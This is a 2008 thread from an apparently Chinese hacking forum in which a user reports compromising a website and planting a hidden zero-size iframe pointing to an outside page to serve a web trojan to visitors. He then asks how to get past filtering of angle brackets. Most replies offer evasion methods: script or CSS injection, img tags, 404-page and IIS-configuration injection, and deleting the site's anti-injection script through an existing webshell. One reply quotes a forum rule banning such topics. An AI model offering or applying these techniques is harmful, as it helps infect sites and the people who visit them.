‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[讨论]挂马时碰到的问题......

绝情啊东

荣誉会员

Rank: 6Rank: 6Rank: 6

E.S.T论坛贵宾

帖子
115 
精华
0 
积分
3040 
阅读权限
100 
性别
男 
来自
辽宁沈阳 
在线时间
112 小时 
注册时间
2006-5-8 
最后登录
2008-9-23 
楼主 大 中 小 发表于 2008-4-22 15:09  只看该作者

[讨论]挂马时碰到的问题......

日到一站...挂马成功

<iframe width=0 height=0 src=http://www.xxx.com/m.htm></iframe>


挂上后查看源文件 被过滤成了..

&#60;iframe width=0 height=0 src=http://www.xxx.com/m.htm&#62;&#60;/iframe&#62


<>  这2个符号被过滤.... 各位牛提供下解决办法...

[ 本帖最后由 绝情啊东 于 2008-4-22 18:22 编辑 ]
﹎.别拿天与地d\\'对立〆衡量你们与我的距离﹎.ˊ 传说中的blog:http://www.5213389.com

TOP

siyiwei11

晶莹剔透§烈日灼然

Rank: 1

帖子
1 
精华
0 
积分
-9 
阅读权限
1 
在线时间
2 小时 
注册时间
2008-3-11 
最后登录
2008-4-30 
沙发 大 中 小 发表于 2008-4-22 16:21  只看该作者
即使不过滤掉,中马的机率有多少?现在大多都打了补丁了?你的马能穿SP2不能?能的话发出来分享下
本帖最近评分记录
  • 洋洋洒洒 威望 -5 有色情擦边倾向 您的主题或回复不文雅 ... 2008-4-23 19:17

TOP

zaroty

晶莹剔透§烈日灼然

Rank: 1

帖子
42 
精华
0 
积分
61 
阅读权限
40 
性别
男 
在线时间
38 小时 
注册时间
2007-8-13 
最后登录
2008-10-7 
椅子 大 中 小 发表于 2008-4-23 08:04  只看该作者
我很菜，只能给你点建议。
1：你去看看他网页中用到<>的地方怎么设置的，网页中应该有的吧。。<body>...........</body>等等，他怎么写的你也怎么写。。。
2：用CSS自定义样式。。把它那个给改了。具体你可以去看看CSS的东东。。有两篇文章很经典你可以去看看。《一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等）》，《二行代码解决全部网页木马(含iframe/script木马）》，还有vbs小铺的那个《关于<<二行代码解决全部网页木马>>的文章》。

TOP

唐不狐

很黃很暴力

晶莹剔透§烈日灼然

Rank: 1

帖子
147 
精华
2 
积分
576 
阅读权限
50 
性别
男 
来自
china 
在线时间
109 小时 
注册时间
2005-9-27 
最后登录
2008-9-24 
板凳 大 中 小 发表于 2008-4-23 11:34  只看该作者
换一种挂马方式
如script 调用js挂，css挂马等。
如果有系统权限，弄个404挂马很不错的。

TOP

jacksatan

晶莹剔透§烈日灼然

Rank: 1

帖子
19 
精华
0 
积分
19 
阅读权限
40 
在线时间
9 小时 
注册时间
2008-3-29 
最后登录
2008-8-2 
地板 大 中 小 发表于 2008-4-23 14:35  只看该作者
用js就可以了 现在挂马常用都是js 框架 淘汰了

TOP

fatcat

晶莹剔透§烈日灼然

Rank: 1

帖子
46 
精华
0 
积分
146 
阅读权限
40 
性别
男 
来自
浙江 
在线时间
69 小时 
注册时间
2004-11-9 
最后登录
2008-10-6 
6楼 大 中 小 发表于 2008-4-23 14:50  只看该作者
受不了。一个个答非所问，明显过滤了"<"了，难道JS挂马就不用这个"<"了吗！楼主可以用img标签。
再说现在没有好网马的话就不用挂了，老是那些垃圾马没什么意思，中不了还被别人骂，有什么意思哦，呵呵
晕啊晕

TOP

cwa

cwa

晶莹剔透§烈日灼然

Rank: 1

帖子
295 
精华
2 
积分
781 
阅读权限
50 
来自
广西 
在线时间
277 小时 
注册时间
2005-12-18 
最后登录
2008-9-15 
7楼 大 中 小 发表于 2008-4-23 17:45  只看该作者
本版规则
给议题提出者：
01 本版的原创议题禁止讨论页面挂马、收信刷库、偷盗隐私、软绑架等明显违反法律和社会道德的话题。
本帖最近评分记录
  • 洋洋洒洒 威望 +5 有色情擦边倾向 您的主题或回复不文雅 ... 2008-4-23 19:18

TOP

绝情啊东

荣誉会员

Rank: 6Rank: 6Rank: 6

E.S.T论坛贵宾

帖子
115 
精华
0 
积分
3040 
阅读权限
100 
性别
男 
来自
辽宁沈阳 
在线时间
112 小时 
注册时间
2006-5-8 
最后登录
2008-9-23 
8楼 大 中 小 发表于 2008-4-23 20:53  只看该作者
..我晕..难道JS挂马就不用<>了么??  ..我汗..看清楚题目在回答啊..OK？
﹎.别拿天与地d\\'对立〆衡量你们与我的距离﹎.ˊ 传说中的blog:http://www.5213389.com

TOP

1234506

晶莹剔透§烈日灼然

Rank: 1

帖子
7 
精华
0 
积分
9 
阅读权限
40 
在线时间
13 小时 
注册时间
2005-7-20 
最后登录
2008-5-20 
9楼 大 中 小 发表于 2008-4-23 21:36  只看该作者
你这是XSS 还是直接修改原文件挂马啊?

XSS的话  就只能看看他标签地方 能不能利用了  不然没办法
直接改原文件的话  这种情况没见过~~~

TOP

绝情啊东

荣誉会员

Rank: 6Rank: 6Rank: 6

E.S.T论坛贵宾

帖子
115 
精华
0 
积分
3040 
阅读权限
100 
性别
男 
来自
辽宁沈阳 
在线时间
112 小时 
注册时间
2006-5-8 
最后登录
2008-9-23 
10楼 大 中 小 发表于 2008-4-23 22:24  只看该作者
不是XSS................
﹎.别拿天与地d\\'对立〆衡量你们与我的距离﹎.ˊ 传说中的blog:http://www.5213389.com

TOP

1234506

晶莹剔透§烈日灼然

Rank: 1

帖子
7 
精华
0 
积分
9 
阅读权限
40 
在线时间
13 小时 
注册时间
2005-7-20 
最后登录
2008-5-20 
11楼 大 中 小 发表于 2008-4-24 01:59  只看该作者
你在本地上传个带<iframe>的文件试下  看他过滤了没

要是没过滤把他首页代码下下来  在本地改完了 在传上去试下

TOP

逍遥乾坤

晶莹剔透§烈日灼然

Rank: 1

帖子
6 
精华
0 
积分
13 
阅读权限
40 
在线时间
19 小时 
注册时间
2005-12-13 
最后登录
2008-8-3 
12楼 大 中 小 发表于 2008-4-24 09:44  只看该作者
貌似所有的网页中都要用到：<>符号吧。
你看你挂马页面中其它语句是怎么编写的，你就按照它的格式来，应该就没有问题了！
如果还不行，可能是它调用了某个“防挂”脚本，你既然已经有webshell了，那就找到那个脚本，删除掉.就ok了！
再者，如果嫌上面两种办法麻烦，就直接改别的挂马方式，比如前面人提到的js等等！

     ...................
加我的QQ！

TOP

simpleboy

晶莹剔透§烈日灼然

Rank: 1

帖子
71 
精华
2 
积分
221 
阅读权限
40 
在线时间
42 小时 
注册时间
2006-10-23 
最后登录
2008-9-26 
13楼 大 中 小 发表于 2008-4-24 11:06  只看该作者
用这个script  标签试试吧
只做安静的观众

TOP

poc

晶莹剔透§烈日灼然

Rank: 1

帖子
36 
精华
0 
积分
95 
阅读权限
40 
性别
男 
在线时间
59 小时 
注册时间
2007-3-18 
最后登录
2008-9-30 
14楼 大 中 小 发表于 2008-4-25 15:56  只看该作者
第一：看看文件里有调用js的地方没有
直接修改他的js文件
第二：404挂马
第三：iis配置文件挂马

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题